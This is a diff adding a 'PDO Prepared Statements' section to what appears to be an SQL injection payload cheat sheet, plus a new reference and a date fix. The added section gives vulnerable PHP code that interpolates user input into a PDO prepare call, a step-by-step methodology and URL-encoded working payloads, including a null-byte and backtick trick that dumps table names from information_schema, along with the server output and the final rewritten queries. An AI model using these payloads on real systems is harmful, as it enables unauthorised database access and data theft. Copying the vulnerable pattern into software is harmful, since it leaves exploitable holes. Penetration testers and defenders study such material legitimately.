|
29 | 29 | * [Polyglot Injection](#polyglot-injection)
|
30 | 30 | * [Routed Injection](#routed-injection)
|
31 | 31 | * [Second Order SQL Injection](#second-order-sql-injection)
|
| 32 | +* [PDO Prepared Statements](#pdo-prepared-statements) |
32 | 33 | * [Generic WAF Bypass](#generic-waf-bypass)
|
33 | 34 | * [White Spaces](#white-spaces)
|
34 | 35 | * [No Comma Allowed](#no-comma-allowed)
|
@@ -365,6 +366,77 @@ password="P@ssw0rd"
|
365 | 366 |
|
366 | 367 | Since you are inserting your payload in the database for a later use, any other type of injections can be used UNION, ERROR, BLIND, STACKED, etc.
|
367 | 368 |
|
| 369 | +## PDO Prepared Statements |
| 370 | + |
| 371 | +PDO, or PHP Data Objects, is an extension for PHP that provides a consistent and secure way to access and interact with databases. It is designed to offer a standardized approach to database interaction, allowing developers to use a consistent API across multiple types of databases like MySQL, PostgreSQL, SQLite, and more. |
| 372 | + |
| 373 | +PDO allows for binding of input parameters, which ensures that user data is properly sanitized before being executed as part of a SQL query. However it might still be vulnerable to SQL injections if the developers allowed user input inside the SQL query. |
| 374 | + |
| 375 | +**Requirements**: |
| 376 | + |
| 377 | +* DMBS |
| 378 | + * **MySQL** is vulnerable by default. |
| 379 | + * **Postgres** is not vulnerable by default, unless the emulation is turned on with `PDO::ATTR_EMULATE_PREPARES => true`. |
| 380 | + * **SQLite** is not vulnerable to this attack. |
| 381 | + |
| 382 | +* SQL injection anywhere inside a PDO statement: `$pdo->prepare("SELECT $INJECT_SQL_HERE...")`. |
| 383 | +* PDO used for another SQL parameter, either with `?` or `:parameter`. |
| 384 | + |
| 385 | + ```php |
| 386 | + $pdo = new PDO(APP_DB_HOST, APP_DB_USER, APP_DB_PASS); |
| 387 | + $col = '`' . str_replace('`', '``', $_GET['col']) . '`'; |
| 388 | + |
| 389 | + $stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = ?"); |
| 390 | + $stmt->execute([$_GET['name']]); |
| 391 | + // or |
| 392 | + $stmt = $pdo->prepare("SELECT $col FROM animals WHERE name = :name"); |
| 393 | + $stmt->execute(['name' => $_GET['name']]); |
| 394 | + ``` |
| 395 | + |
| 396 | +**Methodology**: |
| 397 | + |
| 398 | +**NOTE**: In PHP 8.3 and lower, the injection happens even without a null byte (`\0`). The attacker only needs to smuggle a "`:`" or a "`?`". |
| 399 | + |
| 400 | +* Detect the SQLi using `?#\0`: `GET /index.php?col=%3f%23%00&name=anything` |
| 401 | + |
| 402 | + ```ps1 |
| 403 | + # 1st Payload: ?#\0 |
| 404 | + # 2nd Payload: anything |
| 405 | + You have an error in your SQL syntax; check the manual that corresponds to your MariaDB server version for the right syntax to use near '`'anything'#' at line 1 |
| 406 | + ``` |
| 407 | + |
| 408 | +* Force a select \`'x\` instead of a column name and create a comment. Inject a backtick to fix the column and terminate the SQL query with `;#`: `GET /index.php?col=%3f%23%00&name=x%60;%23` |
| 409 | + |
| 410 | + ```ps1 |
| 411 | + # 1st Payload: ?#\0 |
| 412 | + # 2nd Payload: x`;# |
| 413 | + Column not found: 1054 Unknown column ''x' in 'SELECT' |
| 414 | + ``` |
| 415 | + |
| 416 | +* Inject in second parameter the payload. `GET /index2.php?col=\%3f%23%00&name=x%60+FROM+(SELECT+table_name+AS+`'x`+from+information_schema.tables)y%3b%2523` |
| 417 | + |
| 418 | + ```ps1 |
| 419 | + # 1st Payload: \?#\0 |
| 420 | + # 2nd Payload: x` FROM (SELECT table_name AS `'x` from information_schema.tables)y;%23 |
| 421 | + ALL_PLUGINS |
| 422 | + APPLICABLE_ROLES |
| 423 | + CHARACTER_SETS |
| 424 | + CHECK_CONSTRAINTS |
| 425 | + COLLATIONS |
| 426 | + COLLATION_CHARACTER_SET_APPLICABILITY |
| 427 | + COLUMNS |
| 428 | + ``` |
| 429 | + |
| 430 | +* Final SQL queries |
| 431 | + |
| 432 | + ```SQL |
| 433 | + -- Before $pdo->prepare |
| 434 | + SELECT `\?#\0` FROM animals WHERE name = ? |
| 435 | + |
| 436 | + -- After $pdo->prepare |
| 437 | + SELECT `\'x` FROM (SELECT table_name AS `\'x` from information_schema.tables)y;#'#\0` FROM animals WHERE name = ? |
| 438 | + ``` |
| 439 | + |
368 | 440 | ## Generic WAF Bypass
|
369 | 441 |
|
370 | 442 | ### White Spaces
|
@@ -461,12 +533,13 @@ Bypass using keywords case insensitive or an equivalent operator.
|
461 | 533 |
|
462 | 534 | ## References
|
463 | 535 |
|
| 536 | +* [A Novel Technique for SQL Injection in PDO’s Prepared Statements - Adam Kues - July 21, 2025](https://slcyber.io/assetnote-security-research-center/a-novel-technique-for-sql-injection-in-pdos-prepared-statements) |
464 | 537 | * [Analyzing CVE-2018-6376 – Joomla!, Second Order SQL Injection - Not So Secure - February 9, 2018](https://web.archive.org/web/20180209143119/https://www.notsosecure.com/analyzing-cve-2018-6376/)
|
465 | 538 | * [Implement a Blind Error-Based SQLMap payload for SQLite - soka - August 24, 2023](https://sokarepo.github.io/web/2023/08/24/implement-blind-sqlite-sqlmap.html)
|
466 | 539 | * [Manual SQL Injection Discovery Tips - Gerben Javado - August 26, 2017](https://gerbenjavado.com/manual-sql-injection-discovery-tips/)
|
467 | 540 | * [NetSPI SQL Injection Wiki - NetSPI - December 21, 2017](https://sqlwiki.netspi.com/)
|
468 | 541 | * [PentestMonkey's mySQL injection cheat sheet - @pentestmonkey - August 15, 2011](http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet)
|
469 | 542 | * [SQLi Cheatsheet - NetSparker - March 19, 2022](https://www.netsparker.com/blog/web-security/sql-injection-cheat-sheet/)
|
470 |
| -* [SQLi in INSERT worse than SELECT - Mathias Karlsson - Feb 14, 2017](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/) |
| 543 | +* [SQLi in INSERT worse than SELECT - Mathias Karlsson - February 14, 2017](https://labs.detectify.com/2017/02/14/sqli-in-insert-worse-than-select/) |
471 | 544 | * [SQLi Optimization and Obfuscation Techniques - Roberto Salgado - 2013](https://web.archive.org/web/20221005232819/https://paper.bobylive.com/Meeting_Papers/BlackHat/USA-2013/US-13-Salgado-SQLi-Optimization-and-Obfuscation-Techniques-Slides.pdf)
|
472 | 545 | * [The SQL Injection Knowledge base - Roberto Salgado - May 29, 2013](https://websec.ca/kb/sql_injection)
|
0 commit comments